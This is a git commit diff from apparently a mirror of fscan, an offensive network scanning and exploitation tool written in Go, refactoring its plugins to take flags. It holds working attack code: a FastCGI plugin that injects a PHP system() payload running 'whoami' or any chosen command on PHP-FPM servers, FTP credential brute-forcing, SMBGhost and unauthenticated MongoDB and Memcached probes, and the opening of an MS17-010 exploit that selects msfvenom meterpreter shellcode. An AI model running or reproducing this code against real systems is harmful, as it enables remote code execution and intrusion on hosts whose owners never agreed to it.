mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-13 21:02:44 +08:00
commit
1e01f27a99
@ -94,18 +94,18 @@ const (
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
func SmbGhost(info common.HostInfo, flags common.Flags) error {
|
||||
if flags.IsBrute {
|
||||
return nil
|
||||
}
|
||||
err := SmbGhostScan(info)
|
||||
err := SmbGhostScan(info, flags)
|
||||
return err
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
|
||||
func SmbGhostScan(info common.HostInfo, flags common.Flags) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(flags.Timeout)*time.Second
|
||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, timeout)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -119,12 +119,15 @@ func SmbGhostScan(info *common.HostInfo) error {
|
||||
return err
|
||||
}
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
||||
|
||||
if bytes.Contains(buff[:n], []byte("Public")) {
|
||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
|
@ -4,29 +4,30 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"gopkg.in/yaml.v3"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
var netbioserr = errors.New("netbios error")
|
||||
var errNetBIOS = errors.New("netbios error")
|
||||
|
||||
func NetBIOS(info *common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
func NetBIOS(info common.HostInfo, flags common.Flags) error {
|
||||
netbios, _ := NetBIOS1(info, flags)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output)
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
return netbioserr
|
||||
return errNetBIOS
|
||||
}
|
||||
|
||||
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info)
|
||||
func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info, flags.Timeout)
|
||||
var payload0 []byte
|
||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||
ss := netbios.ServerService
|
||||
@ -40,7 +41,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
var conn net.Conn
|
||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -49,7 +50,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -88,11 +89,11 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -101,7 +102,7 @@ func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -208,7 +209,7 @@ type NetBiosInfo struct {
|
||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
||||
}
|
||||
|
||||
func (info *NetBiosInfo) String() (output string) {
|
||||
func (info NetBiosInfo) String() (output string) {
|
||||
var text string
|
||||
//ComputerName 信息比较全
|
||||
if info.ComputerName != "" {
|
||||
@ -249,7 +250,7 @@ func (info *NetBiosInfo) String() (output string) {
|
||||
|
||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(input) < 57 {
|
||||
err = netbioserr
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
data := input[57:]
|
||||
@ -281,7 +282,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
}
|
||||
}
|
||||
if len(msg) == 0 {
|
||||
err = netbioserr
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
@ -293,7 +294,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
|
||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(ret) < 47 {
|
||||
err = netbioserr
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
var num1, num2 int
|
||||
@ -328,7 +329,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
num1, err = bytetoint(ret[start+44 : start+45][0])
|
||||
_, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
@ -6,34 +6,35 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
//links
|
||||
//https://xz.aliyun.com/t/9544
|
||||
//https://github.com/wofeiwo/webcgi-exploits
|
||||
|
||||
func FcgiScan(info *common.HostInfo) {
|
||||
if common.IsBrute {
|
||||
func FcgiScan(info common.HostInfo, flags common.Flags) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
url := "/etc/issue"
|
||||
if common.Path != "" {
|
||||
url = common.Path
|
||||
if flags.Path != "" {
|
||||
url = flags.Path
|
||||
}
|
||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
var reqParams string
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
||||
switch {
|
||||
case common.Command == "read":
|
||||
case flags.Command == "read":
|
||||
reqParams = ""
|
||||
case common.Command != "":
|
||||
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
|
||||
case flags.Command != "":
|
||||
reqParams = "<?php system('" + flags.Command + "');die('" + cutLine + "');?>"
|
||||
default:
|
||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
||||
}
|
||||
@ -54,7 +55,7 @@ func FcgiScan(info *common.HostInfo) {
|
||||
env["REQUEST_METHOD"] = "GET"
|
||||
}
|
||||
|
||||
fcgi, err := New(addr, common.Timeout)
|
||||
fcgi, err := New(addr, flags)
|
||||
defer func() {
|
||||
if fcgi.rwc != nil {
|
||||
fcgi.rwc.Close()
|
||||
@ -93,21 +94,21 @@ func FcgiScan(info *common.HostInfo) {
|
||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
||||
var result string
|
||||
var output = string(stdout)
|
||||
if strings.Contains(string(stdout), cutLine) { //命令成功回显
|
||||
output = strings.SplitN(string(stdout), cutLine, 2)[0]
|
||||
if strings.Contains(output, cutLine) { // 命令成功回显
|
||||
out := strings.SplitN(output, cutLine, 2)[0]
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
@ -182,8 +183,8 @@ type FCGIClient struct {
|
||||
keepAlive bool
|
||||
}
|
||||
|
||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
fcgi = &FCGIClient{
|
||||
rwc: conn,
|
||||
keepAlive: false,
|
||||
@ -191,38 +192,31 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||
this.mutex.Lock()
|
||||
defer this.mutex.Unlock()
|
||||
this.buf.Reset()
|
||||
this.h.init(recType, reqId, len(content))
|
||||
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
|
||||
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
c.buf.Reset()
|
||||
c.h.init(recType, reqId, len(content))
|
||||
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(content); err != nil {
|
||||
if _, err := c.buf.Write(content); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
|
||||
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = this.rwc.Write(this.buf.Bytes())
|
||||
_, err = c.rwc.Write(c.buf.Bytes())
|
||||
return err
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
||||
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
||||
b := make([]byte, 8)
|
||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
||||
b[4] = protocolStatus
|
||||
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||
w := newWriter(this, recType, reqId)
|
||||
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||
w := newWriter(c, recType, reqId)
|
||||
b := make([]byte, 8)
|
||||
for k, v := range pairs {
|
||||
n := encodeSize(b, uint32(len(k)))
|
||||
@ -241,29 +235,6 @@ func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string
|
||||
return nil
|
||||
}
|
||||
|
||||
func readSize(s []byte) (uint32, int) {
|
||||
if len(s) == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
size, n := uint32(s[0]), 1
|
||||
if size&(1<<7) != 0 {
|
||||
if len(s) < 4 {
|
||||
return 0, 0
|
||||
}
|
||||
n = 4
|
||||
size = binary.BigEndian.Uint32(s)
|
||||
size &^= 1 << 31
|
||||
}
|
||||
return size, n
|
||||
}
|
||||
|
||||
func readString(s []byte, size uint32) string {
|
||||
if size > uint32(len(s)) {
|
||||
return ""
|
||||
}
|
||||
return string(s[:size])
|
||||
}
|
||||
|
||||
func encodeSize(b []byte, size uint32) int {
|
||||
if size > 127 {
|
||||
size |= 1 << 31
|
||||
@ -324,21 +295,21 @@ func (w *streamWriter) Close() error {
|
||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||
|
||||
var reqId uint16 = 1
|
||||
defer this.rwc.Close()
|
||||
defer c.rwc.Close()
|
||||
|
||||
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = this.writePairs(FCGI_PARAMS, reqId, env)
|
||||
err = c.writePairs(FCGI_PARAMS, reqId, env)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(reqStr) > 0 {
|
||||
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -348,23 +319,26 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []
|
||||
var err1 error
|
||||
|
||||
// recive untill EOF or FCGI_END_REQUEST
|
||||
OUTER:
|
||||
for {
|
||||
err1 = rec.read(this.rwc)
|
||||
err1 = rec.read(c.rwc)
|
||||
if err1 != nil {
|
||||
if err1 != io.EOF {
|
||||
err = err1
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
switch {
|
||||
case rec.h.Type == FCGI_STDOUT:
|
||||
|
||||
switch rec.h.Type {
|
||||
case FCGI_STDOUT:
|
||||
retout = append(retout, rec.content()...)
|
||||
case rec.h.Type == FCGI_STDERR:
|
||||
case FCGI_STDERR:
|
||||
reterr = append(reterr, rec.content()...)
|
||||
case rec.h.Type == FCGI_END_REQUEST:
|
||||
case FCGI_END_REQUEST:
|
||||
fallthrough
|
||||
default:
|
||||
break
|
||||
break OUTER
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -4,9 +4,10 @@ import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -15,14 +16,14 @@ var (
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
err := FindnetScan(info)
|
||||
func Findnet(info common.HostInfo, flags common.Flags) error {
|
||||
err := FindnetScan(info, flags)
|
||||
return err
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
func FindnetScan(info common.HostInfo, flags common.Flags) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -31,7 +32,7 @@ func FindnetScan(info *common.HostInfo) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -2,19 +2,20 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag == true && err == nil {
|
||||
flag, err := FtpConn(info, "anonymous", "", flags.Timeout)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
@ -28,8 +29,8 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["ftp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := FtpConn(info, user, pass, flags.Timeout)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
@ -38,7 +39,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -47,10 +48,10 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func FtpConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second))
|
||||
if err == nil {
|
||||
err = conn.Login(Username, Password)
|
||||
if err == nil {
|
||||
|
@ -3,15 +3,16 @@ package Plugins
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -21,14 +22,14 @@ var (
|
||||
livewg sync.WaitGroup
|
||||
)
|
||||
|
||||
func CheckLive(hostslist []string, Ping bool) []string {
|
||||
func CheckLive(hostslist []string, ping bool, liveTop int) []string {
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
if !common.Silent {
|
||||
if !Ping {
|
||||
if !ping {
|
||||
color.Green("(icmp) Target %-15s is alive\n", ip)
|
||||
} else {
|
||||
color.Green("(ping) Target %-15s is alive\n", ip)
|
||||
@ -40,17 +41,17 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
||||
}
|
||||
}()
|
||||
|
||||
if Ping == true {
|
||||
//使用ping探测
|
||||
if ping {
|
||||
// use ping detection
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
//优先尝试监听本地icmp,批量探测
|
||||
// try to listen to local icmp first, batch detection
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//尝试无监听icmp探测
|
||||
// Try no listening icmp probe
|
||||
fmt.Println("trying RunIcmp2")
|
||||
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
defer func() {
|
||||
@ -62,7 +63,7 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//使用ping探测
|
||||
// use ping detection
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
RunPing(hostslist, chanHosts)
|
||||
@ -74,14 +75,14 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
||||
close(chanHosts)
|
||||
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
|
||||
common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
|
||||
common.LogSuccess(output)
|
||||
@ -95,7 +96,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
|
||||
endflag := false
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
if endflag {
|
||||
return
|
||||
}
|
||||
msg := make([]byte, 100)
|
||||
@ -118,7 +119,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
since := time.Now().Sub(start)
|
||||
since := time.Since(start)
|
||||
var wait time.Duration
|
||||
switch {
|
||||
case len(hostslist) <= 256:
|
||||
@ -298,7 +299,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
|
||||
}
|
||||
|
||||
i := 0
|
||||
for _ = range arrMap1 {
|
||||
for range arrMap1 {
|
||||
var maxCountKey string
|
||||
var maxCountVal = 0
|
||||
for key, val := range arrMap2 {
|
||||
|
@ -2,21 +2,22 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
||||
func MemcachedScan(info common.HostInfo, flags common.Flags) (err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
client, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if client != nil {
|
||||
client.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
|
@ -2,16 +2,17 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func MongodbScan(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
func MongodbScan(info common.HostInfo, flags common.Flags) error {
|
||||
if flags.IsBrute {
|
||||
return nil
|
||||
}
|
||||
_, err := MongodbUnauth(info)
|
||||
_, err := MongodbUnauth(info, flags)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err error) {
|
||||
flag = false
|
||||
// op_msg
|
||||
packet1 := []byte{
|
||||
@ -48,7 +49,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
checkUnAuth := func(address string, packet []byte) (string, error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@ -57,7 +58,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
@ -5,18 +5,19 @@ import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func MS17010EXP(info *common.HostInfo) {
|
||||
func MS17010EXP(info common.HostInfo, flags common.Flags) {
|
||||
address := info.Host + ":445"
|
||||
var sc string
|
||||
switch common.SC {
|
||||
switch flags.SC {
|
||||
case "bind":
|
||||
//msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex
|
||||
